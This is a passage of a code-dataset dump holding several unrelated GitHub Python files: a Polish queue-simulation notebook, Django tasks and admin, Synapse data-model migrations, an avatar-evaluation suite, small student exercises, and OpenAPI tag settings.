'dashed')\nplt.xlabel('Próg cierpliwości [min]')\nplt.ylabel('Średni zysk baru [$]')\nif plot_saving_mode:\n plt.savefig('raport/wykresy/zajecie_w_kolejce.pdf')\nelse:\n plt.show()\n\n\n# ## Lepszy jakosciowo wystrój\n\n# In[]:\n\n\ndecor_results = np.zeros(20)\ndecor_ccount = np.zeros(20)\n\nfor decor in tqdm.tqdm(range(1, len(decor_results))):\n results, histories = run_simulation(\n n_simulations=n_simulations,\n bartenders = bartenders_opt,\n shootout_loss=20*decor, \n customer_lambda=(45 - 2*decor)) \n decor_results[decor] = results.mean()\n decor_ccount[decor] = np.mean([[x[1:3] for x in history].count(('Customer_choice', 'new')) for history in histories])\n\n\n# In[]:\n\n\nplt.figure(figsize = (8,4))\nplt.plot(decor_results)\nplt.xlabel('Jakość wystroju')\nplt.ylabel('Średni zysk baru [$]')\nplt.hlines(y = 0, xmin = 0, xmax = 20, linestyle = 'dashed')\nif plot_saving_mode:\n plt.savefig('raport/wykresy/wystroj.pdf')\nelse:\n plt.show()\n\n\n# # Unused scenarios\n# # Strzelaniny\n# In[]:\n\n\nresults_faster_shootout, _ = run_simulation(n_simulations=n_simulations, p_lost_everything=0.05)\nresults_normal_shootout, _ = run_simulation(n_simulations=n_simulations)\nresults_slower_shootout, _ = run_simulation(n_simulations=n_simulations, p_lost_everything=0.01)\n\n\n# In[]:\n\n\nprint(\"średnia:\")\nprint(\"szybciej strzelaniny: \" + str(results_faster_shootout.mean()))\nprint(\"normalne strzelaniny: \" + str(results_normal_shootout.mean()))\nprint(\"wolniejsze strzelaniny: \" + str(results_slower_shootout.mean()))\n\n\n# In[]:\n\n\nplt.figure(figsize=(8,4))\nf, axes = plt.subplots(1, 1)\ndf_to_plot = pd.DataFrame(\n {\n \"Prawdopodobieństwo strzelaniny\": \n [\"niskie\"] * n_simulations + \n [\"normalne\"] * n_simulations + \n [\"wysokie\"] * n_simulations,\n \"Przychód [$]\": np.concatenate((results_slower_shootout, results_normal_shootout, results_faster_shootout), axis=0)\n }\n)\nax = sns.barplot(x=\"Prawdopodobieństwo strzelaniny\", y=\"Przychód [$]\", data=df_to_plot, ci=\"sd\")\nif plot_saving_mode:\n plt.savefig('raport/wykresy/p_strzelaniny.pdf')\nelse:\n plt.show()\n\n","repo_name":"puchmichal/ZMS","sub_path":"project_3/simulation_do_wyslania.py","file_name":"simulation_do_wyslania.py","file_ext":"py","file_size_in_byte":17509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12296033732","text":"from django.core.mail import send_mail\nfrom app.celery import app\nfrom products.models import Product\nfrom users.models import User\nfrom products.subscriptions import (\n unsubscribe_from_product_arrival_notification\n)\n\nimport logging\n\n\nlogger = logging.getLogger()\n\n\ndef test_email_message(user, product, email=None) -> None:\n if not email:\n if not user.email:\n logger.error(f'error to send email to {email} of notification product arrived {product.id} -> no email')\n try:\n send_mail(\n subject='product arrival notification',\n message=f'hi ,{user}, {product} is arrived',\n from_email='django-store@example.com',\n recipient_list=[email],\n fail_silently=False,\n )\n except Exception as e:\n logger.error(f'error to send email to {email} of notification product arrived {product.id} -> {e}')\n\n\n@app.task\ndef send_product_arrival_notification(user_id, product_id) -> None:\n user = User.objects.get(id=user_id)\n product = Product.objects.get(id=product_id)\n test_email_message(\n user=user,\n product=product,\n )\n unsubscribe_from_product_arrival_notification(user, product_id)\n","repo_name":"w44121/django-store","sub_path":"src/products/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71139795610","text":"import pytest\n\nfrom compute_wps import models\nfrom compute_wps.auth import traefik\nfrom compute_wps import exceptions\n\n@pytest.mark.django_db\ndef test_authenticate(mocker):\n meta = {}\n\n with pytest.raises(exceptions.AuthError):\n traefik.authenticate(meta)\n\n spy_user = mocker.spy(models.User.objects, \"get_or_create\")\n\n meta = {\"X-Forwarded-User\": \"user1@domain1.test\"}\n\n user = traefik.authenticate(meta)\n\n assert user.username == \"user1\"\n\n user = traefik.authenticate(meta)\n\n assert spy_user.call_count == 2\n\ndef test_traefikauthentication(mocker):\n auth = traefik.TraefikAuthentication()\n\n class Request:\n def META(self):\n return \"user1\"\n\n authenticate = mocker.patch.object(traefik, \"authenticate\")\n authenticate.return_value = None\n\n user = auth.authenticate(Request())\n\n assert user is None\n\n authenticate.return_value = \"user1\"\n\n user = auth.authenticate(Request())\n\n assert user == (\"user1\", None)\n","repo_name":"ESGF/esgf-compute-wps","sub_path":"compute/compute_wps/compute_wps/tests/test_auth_traefik.py","file_name":"test_auth_traefik.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"32"} +{"seq_id":"41455921559","text":"import logging\n\nimport synapse.common as s_common\nimport synapse.lib.tufo as s_tufo\nfrom synapse.lib.module import CoreModule, modelrev\n\nlogger = logging.getLogger(__name__)\n\nclass SynMod(CoreModule):\n @staticmethod\n def getBaseModels():\n modl = {\n\n 'types': (\n ('syn:splice', {'subof': 'guid'}),\n ('syn:auth:user', {'subof': 'str'}),\n ('syn:auth:role', {'subof': 'str'}),\n ('syn:auth:userrole', {'subof': 'comp', 'fields': 'user=syn:auth:user,role=syn:auth:role'}),\n ('syn:tagform', {'subof': 'comp', 'fields': 'tag,syn:tag|form,syn:prop', 'ex': '(foo.bar,baz:faz)'}),\n\n ('syn:alias', {'subof': 'str', 'regex': r'^\\$[a-z_]+$',\n 'doc': 'A synapse guid alias', 'ex': '$visi'}),\n ('syn:fifo', {'subof': 'comp', 'fields': 'name=str:lwr'}),\n ('syn:ingest', {'subof': 'str:lwr'}),\n ('syn:log', {'subof': 'guid'}),\n\n ),\n\n 'forms': (\n\n ('syn:splice', {'local': 1}, (\n ('act', {'ptype': 'str:lwr'}),\n ('time', {'ptype': 'time'}),\n ('node', {'ptype': 'guid'}),\n ('user', {'ptype': 'str:lwr'}),\n\n ('tag', {'ptype': 'str:lwr'}),\n ('form', {'ptype': 'str:lwr'}),\n ('valu', {'ptype': 'str:lwr'}),\n )),\n\n ('syn:alias', {'local': 1}, (\n ('iden', {'ptype': 'guid', 'defval': '*',\n 'doc': 'The GUID for the given alias name'}),\n )),\n\n ('syn:auth:user', {'local': 1}, (\n ('storm:limit:lift',\n {'ptype': 'int', 'defval': 10000, 'doc': 'The storm query lift limit for the user'}),\n ('storm:limit:time',\n {'ptype': 'int', 'defval': 120, 'doc': 'The storm query time limit for the user'}),\n )),\n\n ('syn:auth:role', {'local': 1}, (\n ('desc', {'ptype': 'str'}),\n )),\n\n ('syn:auth:userrole', {'local': 1}, (\n ('user', {'ptype': 'syn:auth:user'}),\n ('role', {'ptype': 'syn:auth:role'}),\n )),\n\n ('syn:fifo', {'ptype': 'syn:fifo', 'local': 1}, (\n ('name', {'ptype': 'str:lwr', 'doc': 'The fifo description'}),\n ('desc', {'ptype': 'str', 'doc': 'The fifo description'}),\n )),\n\n ('syn:trigger', {'ptype': 'guid', 'local': 1}, (\n ('en', {'ptype': 'bool', 'defval': 0, 'doc': 'Is the trigger currently enabled'}),\n ('on', {'ptype': 'syn:perm'}),\n ('run', {'ptype': 'syn:storm'}),\n ('user', {'ptype': 'syn:auth:user'}),\n )),\n\n ('syn:core', {'doc': 'A node representing a unique Cortex'}, ()),\n ('syn:form', {'doc': 'The base form type.'}, (\n ('doc', {'ptype': 'str', 'doc': 'basic form definition'}),\n ('ver', {'ptype': 'int', 'doc': 'form version within the model'}),\n ('model', {'ptype': 'str', 'doc': 'which model defines a given form'}),\n ('ptype', {'ptype': 'syn:type', 'doc': 'Synapse type for this form'}),\n ('local', {'ptype': 'bool', 'defval': 0,\n 'doc': 'Flag used to determine if a form should not be included in splices'}),\n )),\n ('syn:prop', {'doc': 'The base property type.'}, (\n ('doc', {'ptype': 'str', 'doc': 'Description of the property definition.'}),\n ('title', {'ptype': 'str', 'doc': 'A short description of the property definition.'}),\n ('form', {'ptype': 'syn:prop', 'doc': 'The form of the property.'}),\n ('ptype', {'ptype': 'syn:type', 'doc': 'Synapse type for this field'}),\n ('req', {'ptype': 'bool', 'doc': 'Set to 1 if this property is required to form teh node.'}),\n ('relname', {'ptype': 'str', 'doc': 'Relative name of the property'}),\n ('base', {'ptype': 'str', 'doc': 'Base name of the property'}),\n ('glob', {'ptype': 'bool', 'defval': 0, 'doc': 'Set to 1 if this property defines a glob'}),\n ('defval', {'doc': 'Set to the default value for this property', 'glob': 1}),\n ('univ', {'ptype': 'bool',\n 'doc': 'Specifies if a prop is universal and has no form associated with it.'}),\n )),\n ('syn:type', {'doc': 'The base type type.'}, (\n ('ctor', {'ptype': 'str', 'doc': 'Python path to the class used to instantiate the type.'}),\n ('subof', {'ptype': 'syn:type', 'doc': 'Type which this inherits from.'}),\n ('*', {'glob': 1})\n )),\n ('syn:tag', {'doc': 'The base form for a synapse tag.'}, (\n ('up', {'ptype': 'syn:tag', 'doc': ''}),\n ('doc', {'ptype': 'str', 'defval': '', }),\n ('depth', {'ptype': 'int', 'doc': 'How deep the tag is in the hierarchy', 'defval': 0}),\n ('title', {'ptype': 'str', 'doc': '', 'defval': ''}),\n ('base', {'ptype': 'str', 'doc': '', 'ro': 1}),\n\n )),\n ('syn:tagform', {'doc': 'A node describing the meaning of a tag on a specific form'}, (\n ('tag', {'ptype': 'syn:tag', 'doc': 'The tag being documented', 'ro': 1}),\n ('form', {'ptype': 'syn:prop', 'doc': 'The form that the tag applies too', 'ro': 1}),\n ('doc', {'ptype': 'str:txt', 'defval': '??',\n 'doc': 'The long form description for what the tag means on the given node form'}),\n ('title', {'ptype': 'str:txt', 'defval': '??',\n 'doc': 'The short name for what the tag means the given node form'}),\n )),\n ('syn:model', {'ptype': 'str', 'doc': 'prefix for all forms with in the model'}, (\n ('hash', {'ptype': 'guid', 'doc': 'version hash for the current model'}),\n ('prefix', {'ptype': 'syn:prop', 'doc': 'Prefix used by teh types/forms in the model'}),\n )),\n ('syn:seq', {'ptype': 'str:lwr', 'doc': 'A sequential id generation tracker'}, (\n ('width', {'ptype': 'int', 'defval': 0, 'doc': 'How many digits to use to represent the number'}),\n ('nextvalu', {'ptype': 'int', 'defval': 0, 'doc': 'The next sequential value'}),\n )),\n ('syn:ingest', {'ptype': 'syn:ingest', 'local': 1}, (\n ('time', {'ptype': 'time'}),\n ('text', {'ptype': 'json'})\n )),\n ('syn:log', {'ptype': 'guid', 'local': 1}, (\n ('subsys', {'ptype': 'str', 'defval': '??',\n 'doc': 'Named subsystem which originaed teh log event'}),\n ('level', {'ptype': 'int', 'defval': logging.WARNING, }),\n ('time', {'ptype': 'time', 'doc': 'When the log event occured'}),\n ('exc', {'ptype': 'str', 'doc': 'Exception class name if caused by an exception'}),\n ('info:*', {'glob': 1})\n )),\n )\n }\n\n name = 'syn'\n return ((name, modl),)\n\n @modelrev('syn', 201709051630)\n def _delOldModelNodes(self):\n types = self.core.getRowsByProp('syn:type')\n forms = self.core.getRowsByProp('syn:form')\n props = self.core.getRowsByProp('syn:prop')\n syncore = self.core.getRowsByProp('.:modl:vers:syn:core')\n\n with self.core.getCoreXact():\n [self.core.delRowsById(r[0]) for r in types]\n [self.core.delRowsById(r[0]) for r in forms]\n [self.core.delRowsById(r[0]) for r in props]\n [self.core.delRowsById(r[0]) for r in syncore]\n\n @modelrev('syn', 201709191412)\n def _revModl201709191412(self):\n '''\n Migrate the XREF types to use the propvalu syntax.\n '''\n tick = s_common.now()\n adds = []\n dels = set()\n\n nforms = set()\n\n for form in self.core.getModelDict().get('forms'):\n sforms = self.core.getTypeOfs(form)\n if 'xref' in sforms:\n nforms.add(form)\n\n for ntyp in nforms:\n nodes = self.core.getTufosByProp(ntyp)\n xtyp = '{}:xtype'.format(ntyp)\n xrefp = '{}:xref'.format(ntyp)\n xrefpint = '{}:xref:intval'.format(ntyp)\n xrefpstr = '{}:xref:strval'.format(ntyp)\n xrefprop = '{}:xref:prop'.format(ntyp)\n for node in nodes:\n iden = node[0]\n srcvtype = node[1].get(xtyp)\n if srcvtype is None:\n # This is expensive node level introspection :(\n for prop, valu in s_tufo.props(node).items():\n if prop.startswith('xref:'):\n form = prop.split('xref:', 1)[1]\n if self.core.isTufoForm(form):\n srcvtype = form\n break\n if not srcvtype:\n raise s_common.NoSuchProp(iden=node[0], type=ntyp,\n mesg='Unable to find a xref prop which is a form for migrating a '\n 'XREF node.')\n srcprp = '{}:xref:{}'.format(ntyp, srcvtype)\n srcv = node[1].get(srcprp)\n valu, subs = self.core.getPropNorm(xrefp, [srcvtype, srcv])\n adds.append((iden, xrefp, valu, tick))\n adds.append((iden, xrefprop, srcvtype, tick))\n if 'intval' in subs:\n adds.append((iden, xrefpint, subs.get('intval'), tick))\n else:\n adds.append((iden, xrefpstr, subs.get('strval'), tick))\n dels.add(srcprp)\n dels.add(xtyp)\n with self.core.getCoreXact():\n self.core.addRows(adds)\n for prop in dels:\n self.core.delRowsByProp(prop)\n\n @modelrev('syn', 201710191144)\n def _revModl201710191144(self):\n with self.core.getCoreXact():\n now = s_common.now()\n adds = []\n logger.debug('Lifting tufo:form rows')\n for i, _, v, t in self.core.store.getRowsByProp('tufo:form'):\n adds.append((i, 'node:created', t, now),)\n logger.debug('Deleting existing node:created rows')\n self.core.store.delRowsByProp('node:created')\n if adds:\n tot = len(adds)\n logger.debug('Adding {:,d} node:created rows'.format(tot))\n i = 0\n n = 100000\n for chunk in s_common.chunks(adds, n):\n self.core.store.addRows(chunk)\n i = i + len(chunk)\n logger.debug('Loading {:,d} [{}%] rows into transaction'.format(i, int((i / tot) * 100)))\n logger.debug('Finished adding node:created rows to the Cortex')\n\n @modelrev('syn', 201711012123)\n def _revModl201711012123(self):\n now = s_common.now()\n forms = sorted(self.core.getTufoForms())\n nforms = len(forms)\n for n, form in enumerate(forms):\n adds = []\n logger.debug('Computing node:ndef rows for [{}]'.format(form))\n for i, p, v, t in self.core.store.getRowsByProp(form):\n # This is quicker than going through the norm process\n nv = s_common.guid((p, v))\n adds.append((i, 'node:ndef', nv, now))\n\n if adds:\n tot = len(adds)\n logger.debug('Adding {:,d} node:ndef rows for [{}]'.format(tot, form))\n with self.core.getCoreXact() as xact:\n i = 0\n nt = 100000\n for chunk in s_common.chunks(adds, nt):\n self.core.store.addRows(chunk)\n i = i + len(chunk)\n logger.debug('Loading {:,d} [{}%] rows into transaction'.format(i, int((i / tot) * 100)))\n logger.debug('Processed {:,d} [{}%] forms.'.format(n, int((n / nforms) * 100)))\n logger.debug('Finished adding node:ndef rows to the Cortex')\n","repo_name":"larrycameron80/synapse","sub_path":"synapse/models/syn.py","file_name":"syn.py","file_ext":"py","file_size_in_byte":12757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"30185593592","text":"from django.contrib import admin\nfrom models import (Province, District, Zone, School)\nfrom rts.utils import DistrictIdFilter, ManagePermissions\nfrom rts.actions import export_select_fields_csv_action\n\n\n\nclass ProvinceAdmin(ManagePermissions):\n actions = [export_select_fields_csv_action(\"Export selected objects as CSV file\")]\n list_display = [\"name\"]\n\n\nclass DistrictAdmin(ManagePermissions):\n actions = [export_select_fields_csv_action(\"Export selected objects as CSV file\")]\n list_display = [\"name\", \"province\"]\n\n\nclass ZoneAdmin(ManagePermissions):\n actions = [export_select_fields_csv_action(\"Export selected objects as CSV file\")]\n list_display = [\"name\", \"district\"]\n search_fields = [\"name\"]\n\n\nclass SchoolAdmin(ManagePermissions):\n actions = [export_select_fields_csv_action(\"Export selected objects as CSV file\")]\n list_display = [\"emis\", \"name\", \"zone\", \"display_district\", \"display_province\"]\n search_fields = [\"emis\"]\n\n def formfield_for_foreignkey(self, db_field, request, **kwargs):\n if db_field.name == \"zone\":\n kwargs[\"queryset\"] = Zone.objects.order_by('name')\n return super(SchoolAdmin, self).formfield_for_foreignkey(db_field, request, **kwargs)\n\n def queryset(self, request):\n \"\"\"\n Limits queries for pages that belong to district admin\n \"\"\"\n qs = super(SchoolAdmin, self).queryset(request)\n return DistrictIdFilter(parent=self, request=request, qs=qs).queryset()\n\n\nadmin.site.register(Province, ProvinceAdmin)\nadmin.site.register(District, DistrictAdmin)\nadmin.site.register(Zone, ZoneAdmin)\nadmin.site.register(School, SchoolAdmin)\n","repo_name":"praekeltfoundation/django-rts-zambia","sub_path":"hierarchy/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71567680732","text":"class Drink:\n _cups = [\"레귤러\",\"점보\"]\n _ices = [\"0%\", \"50%\", \"100%\", \"150%\"]\n _sugar = [\"0%\", \"50%\", \"100%\", \"150%\"]\n def __init__(self, name, price):\n self.name=name\n self.price=price\n self.cup=0#0:레귤러,1: 점보\n self.ice=2 #0:0%, 1:50%,2:100$, 3:150$ \n self.sugar =2 #0:0%, 1=50%,2=100%, 3=150%\n\n def set_cup(self):\n self.cup = input (\"컵사이즈를 선택하세요(0:레귤러, 1=점보)\")\n if self.cup==\"\":\n self.cup=0\n else:\n self.cup= int (self.cup)\n \n\n def set_ice(self):\n self.ice = input(\"얼음량을 선택하세요(0:0%, 1:50%,2:100%, 3:150% \")\n if self.ice==\"\":\n self.ice=2\n else:\n self.ice= int (self.ice)\n\n def set_sugar(self):\n self.sugar = input(\"당도를 선택하세요. 0:0%, 1=50%,2=100%, 3=150%\")\n if self.sugar==\"\":\n self.sugar=2\n else:\n self.sugar= int (self.ice)\n \n def __str__(self):\n return \"이름:\"+self.name+\"\\t가격: \"+str(self.price)+\"\\t컵사이즈: \"+self._cups[self.cup]+\"\\t얼음량: \"+self._ices[self.ice]+\"\\t당도:\"+self._sugar[self.sugar]\n \n def order(self):\n self.set_cup()\n self.set_ice()\n self.set_sugar()","repo_name":"gyogo/Programming-Python-","sub_path":"아마스빈/drink.py","file_name":"drink.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39873469883","text":"from rest_framework.permissions import IsAuthenticated\r\nfrom rest_framework.response import Response\r\n\r\nfrom components.comments.models import UserCommentsModel\r\nfrom components.comments.serializers import (\r\n UserCommentsListModelSerializer,\r\n)\r\nfrom components.metrics.models import WeatherMetricsModel\r\nfrom shared.api.views import QueryModelViewSet\r\n\r\n\r\nclass UserCommentsQueryModelViewSet(QueryModelViewSet):\r\n \"\"\"QueryModelViewSet для работы с комментариями пользователя\"\"\"\r\n\r\n queryset = UserCommentsModel.objects.all().order_by('created')\r\n serializer_class = UserCommentsListModelSerializer\r\n permission_classes = [IsAuthenticated]\r\n pagination_class = None\r\n\r\n def list(self, request, *args, **kwargs):\r\n queryset = self.filter_queryset(self.get_queryset())\r\n if 'metricId' in request.query_params:\r\n metric_id = int(request.query_params.get('metricId'))\r\n metric_model = WeatherMetricsModel.objects.get(id=metric_id)\r\n queryset = self.queryset.filter(weather_metric=metric_model)\r\n\r\n serializer = self.get_serializer(queryset, many=True)\r\n return Response(serializer.data)\r\n","repo_name":"thebadfordota/Robolife2","sub_path":"backend/components/comments/views/user_comments_query_model_viewset.py","file_name":"user_comments_query_model_viewset.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"15674923903","text":"\r\n\r\na = []\r\nwhile True:\r\n flag = input(\"是否输入,若回答yes则继续输入,若回答no则停止输入\")\r\n if flag == \"yes\":\r\n while True:\r\n c = eval(input(\"请输入成绩:\"))\r\n if c < 0 or c > 100:\r\n print(\"输入错误,请重新输入\")\r\n else:\r\n a.append(c)\r\n break\r\n elif flag == \"no\":\r\n break\r\n\r\ngeshu = len(a)\r\nzongfen = 0\r\nfor i in a:\r\n zongfen = zongfen + i\r\npingjunfen = zongfen/geshu\r\nzuigao = max(a)\r\n\r\nprint(\"共输入了\", geshu, \"个成绩\", \"总成绩为\", zongfen,\r\n \"平均分为\", pingjunfen, \"最高分为\", zuigao)\r\n","repo_name":"qaq112233/PythonWork","sub_path":"第10周/31计算成绩.py","file_name":"31计算成绩.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"22419068715","text":"import cv2\nprint(cv2.__version__)\nevt=-1\ncoord=[]\ndef click(event,x,y,flag,params):\n global pnts\n global evt\n if event==cv2.EVENT_LBUTTONDOWN:\n print('Mouse Event Was: ',event)\n print(x,',',y)\n pnts=(x,y)\n coord.append(pnts)\n print(coord)\n evt=event\ndispW=640\ndispH=480\nflip=0\ncv2.namedWindow('picam')\ncv2.setMouseCallback('picam',click)\n#Uncomment These next Two Line for Pi Camera\ncamSet='nvarguscamerasrc ! video/x-raw(memory:NVMM), width=3264, height=2464, format=NV12, framerate=21/1 ! nvvidconv flip-method='+str(flip)+' ! video/x-raw, width='+str(dispW)+', height='+str(dispH)+', format=BGRx ! videoconvert ! video/x-raw, format=BGR ! appsink'\ncam= cv2.VideoCapture(camSet)\n \n#Or, if you have a WEB cam, uncomment the next line\n#(If it does not work, try setting to '1' instead of '0')\n#cam=cv2.VideoCapture(0)\nwhile True:\n ret, frame = cam.read()\n for pnts in coord:\n cv2.circle(frame,pnts,5,(0,255,255),-3)\n font=cv2.FONT_HERSHEY_PLAIN\n myStr=str(pnts)\n cv2.putText(frame,myStr,pnts,font,1,(0,0,0),2)\n cv2.imshow('picam',frame)\n cv2.moveWindow('picam',0,0)\n keyEvent=cv2.waitKey(1)\n if keyEvent==ord('q'):\n break\n if keyEvent==ord('c'):\n coord=[]\ncam.release()\ncv2.destroyAllWindows()\n ","repo_name":"ANGELARIELPLAZA/CURSO-JETSON-NANO","sub_path":"CURSO_JETSON_NANO_IA/JETSON_NANO/opencv/opencv-coordenadas.py","file_name":"opencv-coordenadas.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37105642704","text":"import sys\n\ninput_str=sys.stdin.readline().strip()\nalpabet=[[0 for j in range(len(input_str)+1)] for i in range(26)]\nq_count=int(sys.stdin.readline().strip())\n\n#알파벳의 아스키코드를 이용하여 알파벳들의 위치를 저장한다.\nfor k in range(len(input_str)):\n alpabet[ord(input_str[k])-97][k+1]=1\n\n#알파벳의 아스키코드를 이용하여 알파벳들의 prefix count를 구한다.\nfor a in range(26):\n for j in range(len(input_str)):\n alpabet[a][j+1]=alpabet[a][j]+alpabet[a][j+1]\n\n#출력한다.\nfor b in range(q_count):\n c,start,end=sys.stdin.readline().split()\n print(alpabet[ord(c)-97][int(end)+1]-alpabet[ord(c)-97][int(start)])","repo_name":"styughjvbn/Algorithm_study","sub_path":"week1-10/week1/3_16139.py","file_name":"3_16139.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24432054714","text":"from nha.evaluation import metrics as nha_metrics\nimport torch.nn as nn\nimport nha.models\nfrom nha.util.general import *\nfrom nha.data.real import digitize_segmap\n\nimport torch\nimport torchvision.transforms.functional as ttF\n\nfrom typing import *\nfrom tqdm import tqdm\nfrom collections import OrderedDict\n\n\nclass Evaluator:\n \"\"\"\n class to conveniently calculate various scores for predicted images.\n Attention: Keep in mind to blur mask before doing alpha merging such\n that CPBD (sharpness evaluation) is not influenced by these edge artifacts!\n \"\"\"\n\n def __init__(\n self,\n metrics=[\"L1\", \"L2\", \"PSNR\", \"MS_SSIM\", \"LMK\", \"LPIPS\", \"CPBD\"],\n device=\"cuda\",\n load_bbx_detector=False,\n ):\n \"\"\"\n :param metrics: a list of metrics to include in the evaluation process\n :param device: where to run the evaluation\n \"\"\"\n\n # ensures that if LMK in metrics, its calculated first such that bbs that were detected on the way can be reused\n self._metrics = OrderedDict()\n if \"LMK\" in [m.upper() for m in metrics]:\n metrics = list(metrics)\n metrics.remove(\"LMK\")\n metrics = [\"LMK\"] + metrics\n\n self._device = device\n self._bbx_detector = (\n nha_metrics.FaceBBxDetector(device) if load_bbx_detector else None\n )\n\n for m in metrics:\n m = m.upper()\n if m == \"LMK\":\n self._metrics[\"LMK\"] = nha_metrics.EuclLmkDistance(device)\n elif m == \"L1\":\n self._metrics[\"L1\"] = nn.L1Loss(reduction=\"none\")\n elif m == \"L2\":\n self._metrics[\"L2\"] = nn.MSELoss(reduction=\"none\")\n elif m == \"MS_SSIM\":\n self._metrics[\"MS_SSIM\"] = nha_metrics.MS_SSIM(device)\n elif m == \"PSNR\":\n self._metrics[\"PSNR\"] = nha_metrics.PSNR(device)\n elif m == \"LPIPS\":\n self._metrics[\"LPIPS\"] = nha_metrics.LPIPS(device)\n elif m == \"CPBD\":\n self._metrics[\"CPBD\"] = nha_metrics.CPBD(device)\n\n def __call__(\n self,\n pred: torch.Tensor,\n gt: torch.Tensor,\n reduction=\"none\",\n bbs=None,\n gt_landmarks=None,\n ):\n \"\"\"\n returns dictionary with evaluation scores for L1, L2, PSNR, MS_SSIM, LMK, LPIPS, CPBD.\n If reduction==\"none\", each dictionary value is a torch tensor of length N.\n If reduction in [\"mean\", \"sum\"], dict values are scalar tensors\n :param pred: torch tensor of shape N x 3 x H x W with entries -1 ... +1\n todo add predicted landmarks\n :param gt: torch.tensor of shape N x 3 x H x W with entries -1 ... +1\n :param bbs: None or np array of shape N x 5\n :param gt_landmarks: None or np array of shape N x 68 x 2\n :param reduction: How to reduce scores along N dim. One of\n - \"none\": no reduction, scores will have length N\n - \"mean\": scalar scores\n :return:\n \"\"\"\n\n scores = dict()\n pred = pred.to(self._device)\n gt = gt.to(self._device)\n\n for name, metric in self._metrics.items():\n if name in [\"L1\", \"L2\"]:\n scores[name] = torch.flatten(metric(pred, gt), start_dim=1).mean(dim=-1)\n elif name == \"LMK\":\n scores[name], bbs = metric(pred, gt, return_bbs=True, bbs=bbs)\n elif name == \"CPBD\":\n scores[name] = metric(pred)\n else:\n scores[name] = metric(pred, gt)\n\n if reduction == \"mean\":\n for key, val in scores.items():\n scores[key] = torch.mean(val)\n if reduction == \"sum\":\n for key, val in scores.items():\n scores[key] = torch.sum(val)\n\n return scores\n\n\n@torch.no_grad()\ndef evaluate_models(\n models: OrderedDict,\n dataloader,\n metrics=[\"L1\", \"L2\", \"PSNR\", \"MS_SSIM\", \"LMK\", \"LPIPS\", \"CPBD\"],\n blur_seg=0.0,\n):\n \"\"\"\n evaluates the performances of several models and creates a comparison dictionary. Keys are the same as given in\n 'models'; vals are dictionaries with keys:\n - [Metric] ... contains evaluated metrics score as float\n\n :param models: dict where key are the model names, each value is another dict with keys\n 'ckpt' (path to checkpoint file) and 'type' str model type identifier as defined in\n nha.util.models.__init__\n e.g.: {\"model_A\": \"/path/to/checkpoint\"},\n \"model_B\": ..., }\n\n\n :param dataloader: validation dataloader\n :param blur_seg: specifies factor to blur segmentation masks by before doing bg filling. If 0 has no effect. May\n be used for more useful cpbd score evaluation\n :param debug: if true: plots example of compared prediction - gt image pair\n :return: dict with following structure:\n {\"MODEL_NAME\":\n {\"SCORE_NAME\": score value (as float),\n }\n ...,\n }\n \"\"\"\n\n evaluator = Evaluator(metrics=metrics)\n scores = OrderedDict()\n\n for model_name, ckpt in models.items():\n # loading model\n model = nha.models.nha_optimizer.NHAOptimizer.load_from_checkpoint(ckpt).cuda()\n model.eval()\n\n # evaluation:\n scores[model_name] = OrderedDict()\n for batch in tqdm(\n iterable=dataloader, desc=f\"Quantitative Analysis of '{model_name}'\"\n ):\n batch = dict_2_device(batch, model.device)\n\n # get prediction\n pred_rgba = model.forward(batch)\n pred_rgb, pred_mask = pred_rgba[:, :3], pred_rgba[:, 3:]\n\n # get gt\n gt_rgb = batch[\"rgb\"]\n gt_mask = digitize_segmap(batch[\"seg\"]).float()\n gt_rgb = fill_tensor_background(gt_rgb, gt_mask)\n\n # blur masks if specified:\n if blur_seg > 0:\n pred_mask = ttF.gaussian_blur(\n pred_mask, 2 * int(2 * blur_seg) + 1, blur_seg\n )\n gt_mask = ttF.gaussian_blur(\n gt_mask, 2 * int(2 * blur_seg) + 1, blur_seg\n )\n\n pred_rgb = fill_tensor_background(pred_rgb, pred_mask)\n gt_rgb = fill_tensor_background(gt_rgb, gt_mask)\n\n # evaluate image\n scores[model_name] = cat_torch_dicts(\n scores[model_name], evaluator(pred_rgb, gt_rgb)\n )\n\n # calculating average score for evaluation metrics\n for key, val in scores[model_name].items():\n scores[model_name][key] = val.mean().detach().cpu().item()\n\n return scores\n","repo_name":"philgras/neural-head-avatars","sub_path":"nha/evaluation/eval_suite.py","file_name":"eval_suite.py","file_ext":"py","file_size_in_byte":6755,"program_lang":"python","lang":"en","doc_type":"code","stars":462,"dataset":"github-code","pt":"32"} +{"seq_id":"1475376827","text":"from openapi.utils import extend_schema_tags\n\ntag = 'extension'\npath = tag\nname = '插件配置'\n\nextend_schema_tags(\n tag,\n name,\n {\n 'type':'dashboard_page',\n 'init': {\n 'path': '/api/v1/marketplace/',\n 'method': 'get'\n },\n 'local': {\n 'install': {\n 'path': '/api/v1/tenant/{parent_lookup_tenant}/extension/',\n 'method': 'post',\n 'description': '点击安装'\n },\n 'update': {\n 'tag': 'extension.update',\n 'description': '编辑'\n },\n 'delete': {\n 'path': '/api/v1/tenant/{parent_lookup_tenant}/extension/{id}/',\n 'method': 'delete',\n 'description': '删除'\n }\n }\n }\n)\n\nextension_update_tag = 'extension.update'\nextension_update_name = '编辑系统插件'\n\nextend_schema_tags(\n extension_update_tag,\n extension_update_name,\n {\n 'type': 